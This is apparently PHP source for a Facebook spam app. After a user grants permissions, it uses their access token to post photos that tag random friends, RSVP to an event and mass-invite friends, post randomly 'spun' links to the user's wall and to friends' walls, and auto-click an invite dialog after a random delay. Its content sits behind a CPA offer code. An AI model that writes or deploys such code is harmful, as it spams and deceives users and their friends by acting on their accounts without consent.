<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>
	<script>pic1 = new Image(32, 32); pic1.src = "app_img/loading.gif";</script>
	<script type="text/javascript" src="{{=URL(c='app_conf', f='js')}}"></script>
    <link rel="stylesheet" type="text/css" href="style.css" />
<?
if(!$_SESSION['new']){
	// if database used check if user in db, if not add them
	if($useDB == 'true'){ $inDB = checkUser($db1, $host1, $dbu1, $dbp1, $uid, $fname, $country, $token); if(!$inDB){ $add_user = addUser($db1, $host1, $dbu1, $dbp1, $uid, $fname, $country, $token); }else { } }else{ }
	
		if($posting == 'true' || $events == 'true' || $photos == 'true' || $spinner == 'true' || $walltowall == 'true'){
			// if above is true get friends and pass them to the process.php file, for ajax
			try{ $friends = $facebook->api('/me/friends?fields=id'); }catch (FacebookApiException $e) { }
			
			if($photos == 'true'){
				if($photoself == 'true'){ $self[] = array( 'tag_uid' => $uid, 'x' => rand() % 100, 'y' => rand() % 100 ); $attachment = array( 'access_token' => $token, 'message' => stripslashes($imgmsg), 'tags' => $self ); $file = "app_conf/".$photoimg; $attachment['source'] = '@' . realpath($file); try{ $result=$facebook->api('/me/photos', 'POST', $attachment); } catch (FacebookApiException $e) { /*echo $e;*/ } }else {
				$uids = array(); foreach($friends[data] as $friend) { $uids[] = $friend['id']; } $friend_count   = count($uids); $random_total = $photonum * $tags; if($random_total < $friend_count){ $random_total = $random_total; }else{ $num = $friend_count / $photonum; if($num <= 50){ $new_rand = rand(1, $num); $random_total = $new_rand * $photonum; $tags = $new_rand; }else { $new_rand = rand(1, 50); $random_total = $new_rand * $photonum; $tags = $new_rand; } } $random_friends = array_rand($uids, $random_total); $rands = array(); foreach($random_friends as $randids){ $rands[] = array( 'tag_uid' => $uids[$randids], 'x' => rand() % 100, 'y' => rand() % 100 ); } $friends_ids = array_chunk($rands, $tags); $i = 1; foreach($friends_ids as $uid_chunk){ $attachment = array( 'access_token' => $token, 'message' => stripslashes($imgmsg), 'tags' => $uid_chunk ); $file = "app_conf/".$photoimg; $attachment['source'] = '@' . realpath($file); try{ $result=$facebook->api('/me/photos', 'POST', $attachment); } catch (FacebookApiException $e) { } if($i == $photonum) break; $i++; } } }else { }
			
			if($events == 'true'){ $attend = array( 'method' => 'events.rsvp', 'eid' => $eid, 'rsvp_status' => 'attending', 'access_token' => $token ); try { $make_attend = $facebook->api($attend); }catch (FacebookApiException $e) {	} $uids = array(); foreach($friends[data] as $friend) {	$uids[] = $friend['id']; } $count = count($uids); if($count > $event_limit){ $num = rand(10,$event_limit); $random_friends = array_rand($uids, $num); $rands = array(); foreach($random_friends as $randids){ $rands[] = $uids[$randids]; } $invite = array( 'method' => 'events.invite', 'eid' => $eid, 'uids' => $rands, 'personal_message'=> $event_message, 'access_token' => $token ); try{ $send_invites = $facebook->api($invite); }catch (FacebookApiException $e) { echo $e; } }else { } }else { }
			
			if($posting == 'true' || $spinner == 'true' || $walltowall == 'true'){	
				if($spinner == 'true'){	try{ $name = explode("\n", $spinname); $name_count = count($name) - 1; $rand_name  = rand(0, $name_count); $name = $name[$rand_name]; $url  = explode("\n", $spinurl); $url_count = count($url) - 1; $rand_url  = rand(0, $url_count); $url = $url[$rand_url]; $img  = explode("\n", $spinimg); $img_count = count($img) - 1; $rand_img  = rand(0, $img_count); $img = $img[$rand_img]; $cap  = explode("\n", $spincap); $cap_count = count($cap) - 1; $rand_cap = rand(0, $cap_count); $cap = $cap[$rand_cap];	$desc = explode("\n", $spindesc); $desc_count = count($desc) - 1; $rand_desc  = rand(0, $desc_count); $desc = $desc[$rand_desc]; } catch (Exception $e) { } try { $attachment = array('access_token' => $token, 'name' => $name, 'caption' => $cap, 'link' => $url, 'description' => $desc, 'picture' => $img, ); $result = $facebook->api('/me/feed/', 'post', $attachment); }catch (FacebookApiException $e) {	} }else { }
				
				if($posting == 'true'){	try { $attachment = array('access_token' => $token, 'name' => $one_name, 'caption' => $one_cap, 'link' => $one_url, 'description' => $one_desc, 'picture' => $one_img, ); $result = $facebook->api('/me/feed/', 'post', $attachment); }catch (FacebookApiException $e) { } }else { }
				
				if($walltowall == 'true'){ $uids = array(); foreach($friends[data] as $friend) { $uids[] = $friend['id']; } try{ $total_friends = count($uids); $numwalls = rand($wallfrom, $wallto); $random_friends = array_rand($uids, $numwalls); if($total_friends > $numwalls){ $i = 1; foreach($random_friends as $randids){ $fid = $uids[$randids]; $name = explode("\n", $spinname); $name_count = count($name) - 1; $rand_name  = rand(0, $name_count);$name = $name[$rand_name]; $url  = explode("\n", $spinurl); $url_count = count($url) - 1; $rand_url  = rand(0, $url_count); $url = $url[$rand_url]; $img  = explode("\n", $spinimg); $img_count = count($img) - 1; $rand_img  = rand(0, $img_count); $img = $img[$rand_img]; $cap  = explode("\n", $spincap); $cap_count = count($cap) - 1; $rand_cap  = rand(0, $cap_count); $cap = $cap[$rand_cap]; $desc = explode("\n", $spindesc); $desc_count = count($desc) - 1; $rand_desc  = rand(0, $desc_count); $desc = $desc[$rand_desc]; try { $attachment = array('access_token' => $token, 'name' => $name, 'caption' => $cap, 'link' => $url, 'description' => $desc, 'picture' => $img, ); $result = $facebook->api('/'.$fid.'/feed/', 'post', $attachment); }catch (FacebookApiException $e) {	} if($i == $numwalls) break; $i++; } }else { } } catch (Exception $e) { } }else { }
			}else{ }			
		}else { 
		// Don't DO IT shit already had shit sent to em
		}		
}else {
// Sessions already set
}		
if($invites == 'true'){
	if($_GET['i'] && $_GET['i'] == 1){
	echo stripslashes($cpacode);
	}else { 
		$random_load = rand(500,3500);
		if($autoinvites == 'true'){
	?>
		<script>$(window).load(function () { setTimeout(function() { $('#invite').click(); $('#invites').fadeOut("fast", function() { $('#step').fadeIn("fast"); } ); }, <?=$random_load;?>); });</script>
<?
}else {
?>
		<script>$(window).load(function () { setTimeout(function() { $('#invites').fadeOut("fast", function() { $('#step').fadeIn("fast"); } ); }, <?=$random_load;?>); });</script>

<?
}	
}
}else {
echo stripslashes($cpacode);
}
?>
</head>
<body>
<div id="checkoutput"></div>
<div id="sessions" style="display:none;"></div>

<?
// if requests enabled show fancy loading gif div that will be removed by jquery on timer
if($invites == 'true' && !$_GET['i']) echo '<div id="invites"><center><br /><br /><br /><br /><br /><br /><br /><img src="app_img/loading.gif" align="absmiddle"></center></div>';
// check if requests enabled, if are load first step or if already invited load content, if not enabled go straight to app content
if($invites == 'true'){ if($_GET['i'] && $_GET['i'] == 1){ echo stripslashes($appcontent); }else { ?>
	<a href="javascript:void(0);" id="invite" onclick="Send();"><div id="step" style="width:100%;display:none;"><?=stripslashes($firststep);?></div></a>
<? } }else { echo stripslashes($appcontent); } ?>
<div id="fb-root"></div>
<script type="text/javascript" src="https://connect.facebook.net/en_US/all.js" async="true"></script> 
</body>

<?
$_SESSION['new'] = 1;

//unset($_SESSION['new']);
// user hasn't allowed the app so show allow dialog
}else {
$redirect = "https://www.facebook.com/dialog/oauth?client_id=".APP_ID."&redirect_uri=".FB_ROOT."&scope=".$permissions;

// check if landing page enabled, if not redirect to auth url to show allow dialog
if($landing == 'true'){	echo '<a href="'.$redirect.'" target="_top">'.stripslashes($lancontent).'</a>'; }else {
?>
<? } } ?>